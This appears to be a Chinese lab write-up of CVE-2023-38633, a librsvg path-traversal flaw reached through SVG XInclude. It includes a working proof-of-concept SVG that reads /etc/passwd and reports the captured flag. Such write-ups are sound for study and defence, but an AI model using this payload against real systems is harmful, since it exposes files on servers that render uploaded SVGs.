【春秋云镜】CVE-2023-38633在librsvg <2.56.3版本中存在XXE漏洞

2024-06-07 16:28

本文主要是介绍【春秋云镜】CVE-2023-38633在librsvg <2.56.3版本中存在XXE漏洞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1.靶标介绍

一个在 librsvg 2.56.3 之前版本中 URL 解码器的目录遍历问题,可以被本地或远程攻击者用来泄露文件(在预期区域之外的本地文件系统上),例如通过在 xi:include 元素中使用 href=“.?../…/…/…/…/…/…/…/…/…/etc/passwd” 来读取结果。

访问靶场:
在这里插入图片描述

2.漏洞分析

CVE-2023-38633主要是利用XXE漏洞,访问敏感文件。

XInclude

XML Inclusions (XInclude) 也是 W3C 的一个建议标准,主要用于对 XML 文档进行结构化拆分和包含,一个典型的用法如下:

<?xml version="1.0"?>
<note xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="xml" href="foo.xml"/>
</note>
  • fallback 子标签,fallback 的作用主要提供在 include 加载失败时的默认信息。
  • include 标签:包含 href、parse 等属性。
    • href: 指定包含的文件 URI,可以是本地文件路径,也可以是网络地址
    • parse: 表示所包含文件的格式,为 xml 或者 text,默认为 xml

XInclude 则是在 XML 文档解析之后处理的,操作于信息集上。所以,即便 XML 解析器禁用了外部实体,依然可能可以通过 XInclude 包含文档。

SVG

  • libRSVG 是一个用于在各种平台上渲染矢量图形的库。它通常与 C++ 或 Python 等语言一起使用,并支持流行的矢量格式,如 SVG(可缩放矢量图形)和 PS(PostScript)。

  • 可缩放矢量图形(SVG)是一种基于XML的标记语言,用于描述二维矢量图形。与传统的像素图像不同,SVG图像在放大时不会失真,这使得它非常适合用于网页图形设计。

  • SVG图像可以直接嵌入HTML文档中,成为DOM的一部分,这样就可以使用JavaScript和CSS来操作它们。例如,一个简单的SVG圆形可以通过以下代码嵌入到HTML中:

<svg width="100" height="100"><circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>

3.POC构造

上传POC

<?xml version="1.0" encoding="UTF-8" standalone="no"?>  
<svg width="1000" height="1000" xmlns:xi="http://www.w3.org/2001/XInclude">  <rect width="600" height="600" style="fill:rgb(255,255,255);" />  <text x="10" y="100">  <xi:include href=".?../../../../../../../../etc/passwd" parse="text"   
encoding="UTF-8">  <xi:fallback>file not found</xi:fallback>  </xi:include>  </text>  
</svg>

发送请求:
在这里插入图片描述查看到/etc/passwd文件内容:
在这里插入图片描述

获取flag:
在这里插入图片描述
flag{d649f0a7-01a4-4681-b5e8-8f1dc48b7870}

参考链接:
https://zhuanlan.zhihu.com/p/701199455
https://blog.csdn.net/HMX404/article/details/137231580

这篇关于【春秋云镜】CVE-2023-38633在librsvg <2.56.3版本中存在XXE漏洞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1039694

相关文章

浅谈配置MMCV环境,解决报错,版本不匹配问题

《浅谈配置MMCV环境,解决报错,版本不匹配问题》:本文主要介绍浅谈配置MMCV环境,解决报错,版本不匹配问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录配置MMCV环境,解决报错,版本不匹配错误示例正确示例总结配置MMCV环境,解决报错,版本不匹配在col

Linux卸载自带jdk并安装新jdk版本的图文教程

《Linux卸载自带jdk并安装新jdk版本的图文教程》在Linux系统中,有时需要卸载预装的OpenJDK并安装特定版本的JDK,例如JDK1.8,所以本文给大家详细介绍了Linux卸载自带jdk并... 目录Ⅰ、卸载自带jdkⅡ、安装新版jdkⅠ、卸载自带jdk1、输入命令查看旧jdkrpm -qa

Tomcat版本与Java版本的关系及说明

《Tomcat版本与Java版本的关系及说明》:本文主要介绍Tomcat版本与Java版本的关系及说明,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Tomcat版本与Java版本的关系Tomcat历史版本对应的Java版本Tomcat支持哪些版本的pythonJ

MySQL INSERT语句实现当记录不存在时插入的几种方法

《MySQLINSERT语句实现当记录不存在时插入的几种方法》MySQL的INSERT语句是用于向数据库表中插入新记录的关键命令,下面:本文主要介绍MySQLINSERT语句实现当记录不存在时... 目录使用 INSERT IGNORE使用 ON DUPLICATE KEY UPDATE使用 REPLACE

IDEA中Git版本回退的两种实现方案

《IDEA中Git版本回退的两种实现方案》作为开发者,代码版本回退是日常高频操作,IntelliJIDEA集成了强大的Git工具链,但面对reset和revert两种核心回退方案,许多开发者仍存在选择... 目录一、版本回退前置知识二、Reset方案:整体改写历史1、IDEA图形化操作(推荐)1.1、查看提

JDK多版本共存并自由切换的操作指南(本文为JDK8和JDK17)

《JDK多版本共存并自由切换的操作指南(本文为JDK8和JDK17)》本文介绍了如何在Windows系统上配置多版本JDK(以JDK8和JDK17为例),并通过图文结合的方式给大家讲解了详细步骤,具有... 目录第一步 下载安装JDK第二步 配置环境变量第三步 切换JDK版本并验证可能遇到的问题前提:公司常

nvm如何切换与管理node版本

《nvm如何切换与管理node版本》:本文主要介绍nvm如何切换与管理node版本问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录nvm切换与管理node版本nvm安装nvm常用命令总结nvm切换与管理node版本nvm适用于多项目同时开发,然后项目适配no

Mybatis从3.4.0版本到3.5.7版本的迭代方法实现

《Mybatis从3.4.0版本到3.5.7版本的迭代方法实现》本文主要介绍了Mybatis从3.4.0版本到3.5.7版本的迭代方法实现,包括主要的功能增强、不兼容的更改和修复的错误,具有一定的参考... 目录一、3.4.01、主要的功能增强2、selectCursor example3、不兼容的更改二、

pytorch+torchvision+python版本对应及环境安装

《pytorch+torchvision+python版本对应及环境安装》本文主要介绍了pytorch+torchvision+python版本对应及环境安装,安装过程中需要注意Numpy版本的降级,... 目录一、版本对应二、安装命令(pip)1. 版本2. 安装全过程3. 命令相关解释参考文章一、版本对

springboot3.4和mybatis plus的版本问题的解决

《springboot3.4和mybatisplus的版本问题的解决》本文主要介绍了springboot3.4和mybatisplus的版本问题的解决,主要由于SpringBoot3.4与MyBat... 报错1:spring-boot-starter/3.4.0/spring-boot-starter-